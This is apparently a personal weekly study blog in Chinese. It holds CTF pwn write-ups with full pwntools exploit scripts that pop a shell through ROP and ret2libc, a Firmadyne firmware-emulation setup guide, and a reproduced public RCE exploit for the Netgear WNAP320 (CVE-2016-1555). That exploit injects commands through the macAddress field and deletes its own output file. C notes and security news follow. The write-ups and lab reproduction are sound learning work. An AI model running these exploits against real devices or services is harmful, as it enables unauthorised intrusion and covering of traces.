20250714-20250720

20250714-20250720

题目复现

[GHCTF 2025]真会布置栈吗?

64位无保护

反汇编启动只有_start和print

.text:0000000000401033 _start          proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401033
.text:0000000000401033 var_8           = qword ptr -8
.text:0000000000401033
.text:0000000000401033                 mov     rsi, offset msg1
.text:000000000040103D                 mov     edx, 17Bh
.text:0000000000401042                 call    print
.text:0000000000401047                 push    rsp
.text:0000000000401048                 mov     rsi, rsp
.text:000000000040104B                 mov     edx, 8
.text:0000000000401050                 call    print
.text:0000000000401055                 mov     rsi, offset msg2
.text:000000000040105F                 mov     edx, 235h
.text:0000000000401064                 call    print

.text:0000000000401069                 xor     rax, rax
.text:000000000040106C                 xor     rdi, rdi        ; fd
.text:000000000040106F                 mov     rsi, rsp        ; buf
.text:0000000000401072                 mov     edx, 539h       ; count
.text:0000000000401077                 syscall                 ; LINUX - sys_read

.text:0000000000401079                 jmp     [rsp+8+var_8]
.text:0000000000401079 _start          endp
.text:0000000000401079
.text:0000000000401079 _text           ends

题目给了gadgets

.text:0000000000401017 gadgets:
.text:0000000000401017                 pop     rsi
.text:0000000000401018                 pop     rdi
.text:0000000000401019                 pop     rbx
.text:000000000040101A                 pop     r13
.text:000000000040101C                 pop     r15
.text:000000000040101E                 jmp     r15
.text:0000000000401021 ; ---------------------------------------------------------------------------
.text:0000000000401021                 xor     rdx, rdx
.text:0000000000401024                 jmp     r15
.text:0000000000401027 ; ---------------------------------------------------------------------------
.text:0000000000401027                 xor     rsi, rsi
.text:000000000040102A                 jmp     r15
.text:000000000040102D ; ---------------------------------------------------------------------------
.text:000000000040102D                 xor     rdi, rdi
.text:0000000000401030                 jmp     r15

利用思路:用syscall通过栈控制寄存器执行execve('bin/sh')

/*
syscall number  rax // 59
    arg 1    rdi // /bin/sh
    arg 2    rsi // 0
    arg 3    rdx // 0
    arg 4    r10
    arg 5    r8
    arg 6    r9
    */

本题有xchg rax, r13

把r13和rax的值互换,所以在写入r13之后调用该地址xchg rax, r13 (0x0040100C)

目标栈:

    00000000  19 10 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │··@·│····│····│····│
    00000010  00 10 40 00  00 00 00 00  1c 10 40 00  00 00 00 00  │··@·│····│··@·│····│
    00000020  17 10 40 00  00 00 00 00  00 20 40 00  00 00 00 00  │··@·│····│· @·│····│
    00000030  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000040  00 00 00 00  00 00 00 00  0a 10 40 00  00 00 00 00  │····│····│··@·│····│
    00000050  1c 10 40 00  00 00 00 00  17 10 40 00  00 00 00 00  │··@·│····│··@·│····│
    00000060  00 00 00 00  00 00 00 00  00 20 40 00  00 00 00 00  │····│····│· @·│····│
    00000070  00 00 00 00  00 00 00 00  3b 00 00 00  00 00 00 00  │····│····│;···│····│
    00000080  0a 10 40 00  00 00 00 00  21 10 40 00  00 00 00 00  │··@·│····│!·@·│····│
#encoding=utf-8
#可本地复现
from pwn import *
from LibcSearcher import *
p = process('./pwn')
elf=ELF("./pwn")
# io=remote("node2.anna.nssctf.cn",28264)
context(arch="amd64",os="linux",log_level="debug")
pop_r13_r15 = 0x401019
print_addr = 0x401000
a = p64(pop_r13_r15) + p64(0x0) + p64(print_addr) + p64(0x40101c) + p64(0x401017)
a += p64(0x402000) + p64(0x0) + p64(0x0)
a += p64(0x0) + p64(0x40100A) + p64(0x40101c) +p64(0x401017)
a += p64(0x0) + p64(0x402000) + p64(0x0) + p64(59) + p64(0x40100A) + p64(0x401021)
#a += p64(0x40100A)
p.sendlineafter(b'>>',a)
b = asm(shellcraft.sh())
#pause()
p.send(b'/bin/sh\x00')
#pause()
#p.send(b' ')
p.interactive()   

[CISCN 2019东北]PWN2

from pwn import *
 
context(arch="amd64",os="linux",log_level="debug")
 
elf=ELF("./pwn")
 
io=remote("node5.anna.nssctf.cn",22042)
 
io.sendlineafter('choice!',b'1')
 
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
pop_rdi=0x400c83
encrypt_addr=0x4009a0
ret_addr=0x4006b9
 
payload=b'\x00'+b'a'*(0x50-0x1)+b'a'*8
payload+=p64(pop_rdi)+p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(encrypt_addr)
 
io.sendlineafter('encrypted',payload)
 
puts_real=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00"))
 
from LibcSearcher import *
libc=LibcSearcher('puts',puts_real)
libc_base=puts_real-libc.dump("puts")
system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")
 
#io.sendlineafter(b'choice!\n',b'1')
payload=b'\x00'+b'a'*0x57
payload+=p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)
payload+=p64(system_addr)
 
io.sendlineafter('encrypted',payload)
 
io.interactive()

[HZNUCTF 2023 preliminary]signin(libc)

from pwn import *
from LibcSearcher import *
#不可本地复现
p = remote('node5.anna.nssctf.cn',29052)
context(arch='amd64',os='linux',log_level='info')
binary_file = './[HZNUCTF 2023 preliminary]signin'
elf = ELF(binary_file)

# p = process(binary_file)


offset = cyclic(0x40+8)

main = elf.sym['main']
print(hex(main))
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x401283
ret = 0x40101a 

payload1 = flat([offset,pop_rdi,puts_got,puts_plt,main])
p.sendline(payload1)
p.recvuntil("sign in here~")
puts_leak_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))

print(hex(puts_leak_addr))

libc = LibcSearcher('puts',puts_leak_addr)
libc_base = puts_leak_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
print(hex(system))
print(hex(str_bin_sh))
payload2 = flat([offset,ret,pop_rdi,str_bin_sh,system])
p.sendline(payload2)
p.interactive()

'''
[+] There are multiple libc that meet current constraints :
0 - libc6-i386_2.31-13_amd64
1 - libc6-i386_2.33-0experimental1_amd64
2 - libc6_2.31-0ubuntu9.10_amd64
3 - libc6-i386_2.33-0experimental0_amd64
4 - libc6-i386_2.31-9_amd64
5 - libc6-i386_2.31-17_amd64
6 - libc6-i386_2.31-13+deb11u1_amd64
7 - libc6-i386_2.31-13+deb11u4_amd64
8 - libc6-i386_2.31-13+deb11u3_amd64
9 - libc6_2.31-0ubuntu9.9_amd64
[+] Choose one : 2
'''

[NISACTF 2022]ezstack(text)

[WUSTCTF 2020]getshell2(text)

from pwn import *
#可本地复现
#start
#r = remote("node5.anna.nssctf.cn",28464)
r = process("./[WUSTCTF 2020]getshell2")

#params
sh_addr = 0x08048670
system_addr = 0x08048529

#attack
payload = b'M'*(0x18+4) + p32(system_addr) + p32(sh_addr)
r.recv()
r.sendline(payload)

r.interactive()


Netgear WNAP320 RCE(CVE-2016-1555)

一个PHPpwn的复现,web基础薄弱了

复现完发现是一个很老的漏洞了,不过用来测试IOT环境搭建是没问题的,主要收获就是这个环境搭建了

环境搭建

系统:ubuntu22.04

binwalk(固件解包)

binwalk:binwalk是一个固件解包的工具,当我们用编程器dump出一个固件用,需要用binwalk来解压。
#参考网址:https://github.com/ReFirmLabs/binwalk/wiki/Cargo-Installation
'''安装rust编译器
sudo apt install curl
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
. $HOME/.cargo/env
直接下载项目
cargo install binwalk
'''
#以下为源码编译选项,为binwalk提供充实的依赖环境
'''下载,安装依赖项
git clone https://github.com/ReFirmLabs/binwalk
sudo apt-get install libbz2-dev
sudo apt install build-essential libfontconfig1-dev liblzma-dev
sudo ./binwalk/dependencies/ubuntu.sh
编译
cd binwalk
cargo build --release
最终二进制文件:
binwalk/target/release/binwalk
'''

Firmadyne(固件仿真)

#参考文章:https://github.com/firmadyne/firmadyne#introduction
#安装依赖(缺失python-psycopg2,用pip3下载)
sudo apt-get install busybox-static fakeroot git dmsetup kpartx netcat-openbsd nmap  python3-psycopg2 snmp uml-utilities util-linux vlan
pip3 install psycopg2
#firmadyne仓库拉取
sudo git clone --recursive https://github.com/firmadyne/firmadyne.git
#安装postgresql数据库
sudo apt-get install postgresql
sudo -u postgres createuser -P firmadyne  [默认密码是:firmadyne]
sudo -u postgres createdb -O firmadyne firmware
sudo -u postgres psql -d firmware < ./firmadyne/database/schema
#绝对路径查看
pwd
#设置firmadyne.config 把第四行换成自己的绝对路径
cd firmadyne
sudo vim firmadyne.config
#安装所需二进制依赖包(后面的六行不好使,选择手动下载粘贴)
sudo ./download.sh
'''
echo "Downloading console..."
download https://github.com/firmadyne/console/releases/download/v1.0/console.armel
download https://github.com/firmadyne/console/releases/download/v1.0/console.mipseb
download https://github.com/firmadyne/console/releases/download/v1.0/console.mipsel

echo "Downloading libnvram..."
download https://github.com/firmadyne/libnvram/releases/download/v1.0c/libnvram.so.armel
download https://github.com/firmadyne/libnvram/releases/download/v1.0c/libnvram.so.mipseb
download https://github.com/firmadyne/libnvram/releases/download/v1.0c/libnvram.so.mipsel
'''
#安装其他依赖项
sudo apt-get install qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils

本数据库图形化界面:https://www.pgadmin.org/download/

密码:123456

SearchSploit(漏洞检测)

$ sudo git clone https://gitlab.com/exploit-database/exploitdb.git /opt/exploitdb
$ sudo ln -sf /opt/exploitdb/searchsploit /usr/local/bin/searchsploit

WNAP320 RCE固件测试(使用时系统换成全英文)

仿真Netgear(网件路由器) WNAP320测试

固件包:

获取地址: Download Center | Downloads and Documentation | NETGEAR

wget https://www.downloads.netgear.com/files/GDC/WNAP320/WNAP320%20Firmware%20Version%202.0.3.zip

解压固件包:(如果运行失败,错误扔给ai总结缺失库,然后重装库或者找文档解决对应问题)

sudo python3 /home/zhuyi/IOT/firmadyne/sources/extractor/extractor.py -b Netgear -sql 127.0.0.1 -np -nk "WNAP320.zip" images
#参数解释
-b   "brand 品牌"
-sql "连接本地数据库"
-np  "代表没有并行操作"
-nk  "代表不提取内核"

识别CPU框架:

sudo /home/zhuyi/IOT/firmadyne/scripts/getArch.sh ./images/1.tar.gz

存储数据库:

删除残留

sudo -i -u postgres

psql -U firmadyne -d firmadyne

DELETE FROM object_to_image WHERE iid = 1;

DELETE FROM image WHERE id = 1;

\q

sudo python3 /home/zhuyi/IOT/firmadyne/scripts/tar2db.py -i 1 -f ./images/1.tar.gz

#参数解释
-i 1 "这里的1代表的数据库中的id,当你有多个固件镜像时候会有多个id,我这里就一个所以就是1"
-f   "这里就是解包后估计的tar包路径,一般解压后的固件都在./images下面"

照着博客改的

#修改语言
sudo vim /etc/default/locale
LANG="en_US.UTF-8"
LANGUAGE="en_US:en"
LC_ALL="en_US.UTF-8"
#重启
sudo reboot

构建QEMU镜像:

sudo /home/zhuyi/IOT/firmadyne/scripts/makeImage.sh 1

#参数解释
"id这里为1"

漏洞代码:

# Exploit Title: Netgear WNAP320 2.0.3 - 'macAddress' Remote Code Execution (RCE) (Unauthenticated)
# Vulnerability: Remote Command Execution on /boardDataWW.php macAddress parameter
# Notes: The RCE doesn't need to be authenticated
# Date: 26/06/2021
# Exploit Author: Bryan Leong <NobodyAtall>
# IoT Device: Netgear WNAP320 Access Point
# Version: WNAP320 Access Point Firmware v2.0.3

import requests
import sys

if(len(sys.argv) != 2):
	print('Must specify the IP parameter')
	print("eg: python3 wnap320_v2_0_3.py <IP>")
	sys.exit(0)

host = sys.argv[1]
port = 80

cmd = ''

while(True):
	cmd = input('Shell_CMD$ ')
	#injecting system command part writing the command output to a output file
	data = {
		'macAddress' : '112233445566;' + cmd + ' > ./output #',
		'reginfo' : '0',
		'writeData' : 'Submit'
	}

	url = 'http://' + host + '/boardDataWW.php'
	response = requests.post(url, data=data)

	if(response.ok):
		#read the command output result
		url = 'http://' + host + '/output'
		cmdOutput = requests.get(url)
		print(cmdOutput.text)

		#remove trace
		cmd = 'rm ./output'
		data = {
			'macAddress' : '112233445566;' + cmd + ' #',
			'reginfo' : '0',
			'writeData' : 'Submit'
		}
		url = 'http://' + host + '/boardDataWW.php'
		response = requests.post(url, data=data)
	else:
		print('[!] No response from the server.')

学习笔记

练手题目(语法题):

编写一个函数string_change(cahrstr[]),要求实现str中的字符串的互换。如“abcde”换成”edcba

编写一个函数char_search(char str[],char c),如果字符串str中包含字符c则返回数值1,否则返回数值0

编写一个函数string_cut(char string[], cahr c),其功能是删除字符串中所有的字符变量c,例如 char string = "abaca"; cahr c = 'a';

编写一个函数string_search(char str1[], cahr str2[]),如果字符串str1中包含字符串2则返回数值1,否则返回数值0

写一个函数int prime(int x),如果x是素数,返回值为1,否则返回0,并用主函数验证它

写一个函数power(double x, int n),其返回值位xn,并用此函数计算1.53

用递归算法编写求Fibonacci数列第n项值的函数fib(int n),并用主函数输出它的前20项来验证该函数

定义3个整型变量及指向整形变量的指针变量,利用3个指针变量完成数据的输入,从小到大排序、输出

已知一个整型数组a[10],要求定义2个指向整型变量的指针变量,max、min,使得它们分别指向数组的最大数和最小数

编写一个函数int palindrome(char *string),如果字符串string是回文,返回值为1,否则为0。“回文”指顺读、逆读都一样的字符串

强内聚低耦合

PC端和手机端游戏,玩法可以相同,但是界面,操作,输入输出这类UI,是无法兼容的,所以要实现如下原则

界面和逻辑分离,业务和算法分离

业务:斗地主的规则

算法:洗牌,自动排序

强内聚:分工明确,出问题不会一起加班的

验证排序效率高低(推荐看《计算机程序设计艺术》的排序、查找算法)

TeX:数学专业的排版工具

要有四个条件

一、存储媒介

二、数据结构

三、数值分布(讨论的时候默认均匀分布)

四、排序算法

C语言存储特性:连续性和一致性

数组中的元素不考虑对齐,也不重叠释放

数组的操作公式

(重要)(int)ary + sizeof(int) * 3

ary[n] = (int)ary + sizeof(type) * n

所以int ary[5] = {0,1,2,3,4,5}

&ary[3] 等价于 &3[ary]

(int)ary + sizeof(int) * 3

为什么等价?因为汇编指令完全相同

原因:地址和整形操作,和函数传参是一样的,不管你的顺序,只要是一个地址,一个整形,以[]的方式链接,就是地址[整形]

练习题:下标控制内存

已知0x00400000的地址的内容是00905A4D,怎么把该地址的数据取出来?

00400000  4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
//答:
    printf("%p\r\n",ary[(0x00400000 - (int)ary) /  sizeof(int)]);

image-20250717174406991

练习题:取地址和访问的区别

int *p = NULL;
printf("%p\r\n",&p[10]);//0x00000024
//printf语法只是查找地址位置,没有访问,所以不会崩溃
//知识点:取地址没有访问的动作,只是通过一串公式计算出结果

地址访问崩溃:如果不清理栈,那么无限增长下去,进入不可访问的地址(内核地址等),就会发生崩溃

本质就是访问了不可访问的地址,所以崩溃

安全通告

病毒预警:首例利用微软UI自动化框架的银行木马:Coyote变种攻击手法解析

信息咨询(全球网络安全态势、政策与合规动态、行业技术与趋势):天防安全、江南信安、信息安全与通信保密

政策与合规动态:

1、网络身份证”来了!正式启用!

公安部、国家网信办等6部门联合公布的《国家网络身份认证公共服务管理办法》7月15日起开始正式施行。

国家网络身份认证公共服务平台以法定身份证件信息为基础,以网号、网证、网络身份应用标识为呈现方式,既能证明身份,又能避免个人信息泄露。今后,在网购、办理业务等要用到实名信息场景中,可以用“网络身份证”进行核验,极大地降低个人身份信息泄露风险。

2、中央网信办就《数据安全技术 电子产品信息清除技术要求》强制性国家标准(征求意见稿)公开征求意见

近日,中央网信办就《数据安全技术 电子产品信息清除技术要求》强制性国家标准(征求意见稿)公开征求意见,要求厂商在手机、平板、电脑等电子产品中强制预置“一键清除”功能,确保用户能便捷彻底删除个人数据;该标准针对不同存储介质设定了差异化覆写要求,规定手机、平板和固态硬盘(SSD)数据至少覆写2次,机械硬盘(HDD)至少覆写3次以上,以实现数据不可恢复,清除范围覆盖应用程序、媒体文件、缓存、备份数据、系统配置(含账号密码及生物识别信息)、NFC绑定卡片及加密密钥等全部7类用户数据。

行业技术趋势:

AI伪装工具可实现更难检测的网络攻击

暗网出现新型AI伪装工具“Xanthorox AI”,可在离线状态自动生成并实时变异恶意代码,使攻击流量与正常HTTPS通信难以区分。该工具集语音深度伪造、进程注入于一体,已导致1700余名开发者中招。卡巴斯基也证实,2025年前四个月,伪装成ChatGPT的恶意文件数量同比激增115%,中小企业用户占受害总量八成。专家指出,攻防失衡的关键在于攻击者能低成本利用公开数据训练模型,而防御方需满足合规与预算限制。为应对挑战,Palisade Research发布“AI蜜罐”,通过仿真政府服务器诱捕自主攻击智能体,为实时预警与防御策略提供数据支撑。

posted @ 2025-07-28 18:58  SX住一  阅读(8)  评论(0)    收藏  举报